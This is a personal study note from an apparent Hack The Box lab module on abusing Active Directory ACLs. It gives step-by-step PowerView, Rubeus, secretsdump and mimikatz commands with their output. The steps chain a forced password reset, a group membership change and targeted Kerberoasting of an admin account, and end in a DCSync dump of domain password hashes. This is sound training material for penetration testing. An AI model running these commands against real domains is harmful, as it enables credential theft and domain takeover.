ACL

mercredi 27 novembre 2024 12:18 PM

ACE that can be abused

Some example Active Directory object security permissions are as follows. These **can be enumerated** (and visualized) using a tool such as **BloodHound**, and are **all abusable with PowerView**, among other tools:

- **ForceChangePassword** abused with **Set-DomainUserPassword**
- **Add Members** abused with **Add-DomainGroupMember**
- **GenericAll** abused with **Set-DomainUserPassword** or **Add-DomainGroupMember**
- **GenericWrite** abused with **Set-DomainObject**
- **WriteOwner** abused with **Set-DomainObjectOwner**
- **WriteDACL** abused with **Add-DomainObjectACL**
- **AllExtendedRights** abused with **Set-DomainUserPassword** or **Add-DomainGroupMember**
- **Addself** abused with **Add-DomainGroupMember**

In this module, we will cover enumerating and leveraging four specific ACEs to highlight the power of ACL attacks:

- ForceChangePassword - gives us the right to **reset a user's password without first knowing their password** (should be used cautiously and typically best to consult our client before resetting passwords).

- GenericWrite - gives us **the right to write to any non-protected attribute on an object**.
  - **If we have this access over a user**, **we could assign them an SPN** and **perform a Kerberoasting attack** (which relies on the target account having a weak password set).
  - **Over a group** means **we could add ourselves** or **another security principal to a given group**.
  - Finally, if we have this access **over a computer object**, we could **perform a resource-based constrained delegation attack** which is outside the scope of this module.

- **AddSelf** - shows security groups (S 1-5-1) that **a user can add themselves to**.

- GenericAll - **this grants us full control over a target object**. Again, depending on if this is granted over a user or group, we could **modify group membership**, **force change a password**, or **perform a targeted Kerberoasting attack**. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, **we can read the LAPS password** and **gain local admin access to the machine** which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.

Enumerating ACLs with PowerView

We first need to get the SID of our target user to search effectively.

```
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> $sid = Convert-NameToSid wley
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

In PowerShell, the ? symbol is an alias for the Where-Object cmdlet

User-Force-Change-Password over amundsen

Using Built-in Functions of Powershell AD : (Get-Acl, Get-ADUser)

Creating a List of Domain Users

```
PS C:\htb> Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
```

retrieve ACL information for each domain use

```
PS C:\htb> foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop
\ad_users.txt")) {get-acl  "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access |
Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
```

```
Path                  : Microsoft.ActiveDirectory.Management.dll\ActiveDirectory:://RootDSE/CN=Dana
                        Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOC
ActiveDirectoryRights : ExtendedRight
InheritanceType       : All
ObjectType            : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : ObjectAceTypePresent
AccessControlType     : Allow
IdentityReference     : INLANEFREIGHT\wley
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None
```

Performing a Reverse Search & Mapping to a GUID Value (ObjectACEtype nb to human readable)

```
PS C:\htb> $guid= "00299570-246d-11d0-a768-00aa006e0529"

PS C:\htb> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-
ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -
Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid}
| fl
```

```
Name              : User-Force-Change-Password
DisplayName       : Reset Password
DistinguishedName : CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=INLANEFREIGHT
rightsGuid        : 00299570-246d-11d0-a768-00aa006e0529
```

Further Enumeration of Rights Using damundsen

```
PS C:\htb> $sid2 = Convert-NameToSid damundsen
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq
$sid2} -Verbose
```

```
AceType               : AccessAllowed
ObjectDN              : CN=Help Desk Level 1,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3842939050-3880317879-2865463114-4022
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1176
AccessMask            : 131132
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed
```

our user damundsen has **GenericWrite** privileges **over** the **Help Desk Level 1** group. **Let's look and see if this group is nested into any other groups**,

Investigating the Help Desk Level 1 Group Nesting with Get-DomainGroup

```
PS C:\htb> Get-DomainGroup -Identity "Help Desk Level 1" | select memberof
```

```
memberof
--------
CN=Information Technology,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
```

Now let's look around and **see if** members of **Information Technology** can do anything interesting

```
PS C:\htb> $itgroupsid = Convert-NameToSid "Information Technology"
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq
$itgroupsid} -Verbose
```

```
AceType               : AccessAllowed
ObjectDN              : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFR
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3842939050-3880317879-2865463114-1164
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-4016
AccessMask            : 983551
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed
```

Finally, let's see if the adunn user has any type of interesting access that we may be able to leverage to get closer to our goal.

Looking for Interesting Access

```
PS C:\htb> $adunnsid = Convert-NameToSid adunn
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq
$adunnsid} -Verbose
```

```
AceQualifier           : AccessAllowed
ObjectDN               : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-116
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0

AceQualifier           : AccessAllowed
ObjectDN               : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-116
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0
```

The output above shows that our adunn user has **DS-Replication-Get-Changes** and DS-Replication-Get-Changes-In-Filtered-Set rights over the domain object. This means that this user can be leveraged to **perform a DCSync attack**

Enumerating ACLs with BloodHound

take **the data we gathered earlier with the SharpHound ingestor** and upload it to BloodHound

select the **Node Info tab** and scroll down to **Outbound Control Rights**. This option will show us **objects we have control over directly,** via group membership, and the **number of objects that our user could lead to us controlling via ACL attack paths** under **Transitive Object Control**.

Abusing ACLs

1. Use the **wley** user to **change the password for** the **damundsen** user
2. **Authenticate as** the **damundsen** user and **leverage GenericWrite rights** to **add a user that we control to the Help Desk Level 1 group**
3. Take advantage of **nested group membership** in the **Information Technology group** and **leverage GenericAll rights** to **take control of**

the adunn user

1. Use the wley user to change the password for the damundsen user

Creating a PSCredential Object

```
PS C:\htb> $SecPassword = ConvertTo-SecureString '<wley PASSWORD HERE>' -AsPlainText -Force
PS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
```

Next, we must create a SecureString object which **represents the password we want to set for the target user damundsen.**

```
PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
```

Changing the User's Password

```
PS C:\htb> cd C:\Tools\
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
```

2. Authenticate as the damundsen user and leverage GenericWrite rights to add a user that we control to the Help Desk Level 1 group

Creating a SecureString Object using damundsen

```
PS C:\htb> $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
PS C:\htb> $Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
```

Next, we can use the Add-DomainGroupMember function to **add ourselves to the target group**.

confirm that our user is not a member of the target group

We can first *confirm that our user is not a member of the target group*. This could also be done from a Linux host using the pth-toolkit.

```
PS C:\htb> Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
```

Adding damundsen to the Help Desk Level 1 Group

```
PS C:\htb> Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
```

A quick check shows that our addition to the group was successful.

Confirming damundsen was Added to the Group

```
PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
```

3. Take advantage of nested group membership in the Information Technology group and leverage GenericAll rights to take control of the adunn user

let's say that our client **permitted us to change the password** of the **damundsen** user, **but** the **adunn user** is **an admin account that cannot be interrupted**. Since we have **GenericAll rights over this account**, we can have even more fun and **perform a targeted Kerberoasting attack**t. We **must be authenticated as a member of the Information Technology group for this to be successful**. Since **we added damundsen to the Help Desk Level 1 group, we inherited rights via nested group membership**.

Creating a Fake SPN (map adunn admin account to SPN account to get request his TGS that is signed with his NTLM)

```
PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
```

```
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'notahacker/LEGIT' for object 'adunn'
```

Kerberoasting with Rubeus

```
PS C:\htb> .\Rubeus.exe kerberoast /user:adunn /nowrap
```

```
  (_____ \     | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target User            : adunn
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAcc

[*] Total kerberoastable users : 1


[*] SamAccountName         : adunn
[*] DistinguishedName      : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLA
[*] ServicePrincipalName   : notahacker/LEGIT
[*] PwdLastSet             : 3/1/2022 11:29:08 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/LEGIT@INLANEFREIGHT.LOCAL
```

Cleanup

1. Remove the fake SPN we created on the adunn user.
2. Remove the damundsen user from the Help Desk Level 1 group
3. Set the password for the damundsen user back to its original value (if we know it) or have our client set it/alert the user

This order is important because if we remove the user from the group first, then we won't have the rights to remove the fake SPN.

Removing the Fake SPN from adunn's Account

```
PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
```

```
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'adunn'
```

Next, we'll remove the user from the group using the Remove-DomainGroupMember function.

Removing damundsen from the Help Desk Level 1 Group

```
PS C:\htb> Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential
$Cred2 -Verbose
```

```
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Remove-DomainGroupMember] Removing member 'damundsen' from group 'Help Desk Level 1'
True
```

Confirming damundsen was Removed from the Group

```
PS C:\htb> Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
```

OR

```
PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName | ?
{$_.MemberName -eq 'damundsen'} -Verbose
```

Dsync Attack

DCSync is a technique for **stealing the Active Directory password database** by **using the built-in Directory Replication Service Remote Protocol**, which is **used by Domain Controllers to replicate domain data**. This allows an attacker to **mimic a Domain Controller to retrieve user NTLM password hashes.**

To perform this attack, **you must have control over an account that has the rights to perform domain replication** (a user with the **Replicating Directory Changes** and **Replicating Directory Changes All** permissions set). **Domain/Enterprise Admins** and **default domain administrators have this right by default.**

NB ; It is common during an assessment to find other accounts that have these rights,

Using Get-DomainUser to View adunn's Group Membership (PowerView)

With PowerView

```
PS C:\htb> Get-DomainUser -Identity adunn  |select samaccountname,objectsid,memberof,useraccountcontrol |fl
```

With Built-in AD PS :

```
PS C:\htb> Get-ADUser -Identity adunn -Properties MemberOf, ObjectSID, UserAccountControl | Select-Object SamAccountName, ObjectSID, MemberOf, UserAccountControl | Format-List
```

Using Get-ObjectAcl to Check adunn's Replication Rights

```
PS C:\htb> $sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
PS C:\htb> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
```

Built-In Powershell :

```
PS C:\htb> $sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
PS C:\htb> $objectDN = "DC=inlanefreight,DC=local"

PS C:\htb> $acl = Get-Acl -Path "AD:$objectDN"

# Filter ACEs for the specified SID and ObjectAceType
PS C:\htb> $acl.Access | Where-Object {
    $_.IdentityReference -match $sid -and $_.ObjectAceType -match 'Replication-Get'
} | Select-Object AceQualifier, IdentityReference, ActiveDirectoryRights, ObjectAceType
```

Limitations:

- This built-in approach is more verbose and less streamlined compared to Get-ObjectAcl in PowerView.
- It does not resolve GUIDs by default (e.g., Replication-Get). If GUID resolution is required, you may need to cross-reference with schema information.

Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py

```
Djerbien@htb[/htb]$ secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
```

we will see that **there are three: one containing the NTLM hashes**, **one containing Kerberos keys**, and **one that would contain cleartext passwords**

- The **-just-dc** flag tells the tool to extract NTLM hashes and Kerberos keys from the NTDS file.
- We can use the **-just-dc-ntlm** flag if we **only want NTLM hashes**
- specify **-just-dc-user <USERNAME> to only extract data for a specific user**.
- **-pwd-last-set** to **see when each account's password was last changed**
- **-history** if we want to **dump password history**, which may be helpful for offline password cracking or as supplemental data on domain password strength metrics for our client.
- The **-user-status** is another helpful flag to **check and see if a user is disabled**.

Checking for Reversible Encryption Option

```
PS C:\htb> Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```

Or

```
PS C:\htb> Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
```

Performing the Attack with Mimikatz

Mimikatz must be ran in the context of the user who has DCSync privileges :

Using runas.exe

```
C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\adunn powershell
```

Enter the password for INLANEFREIGHT\adunn:
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...

From the newly spawned powershell session, we can perform the attack:

```
PS C:\htb> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
```

dzdz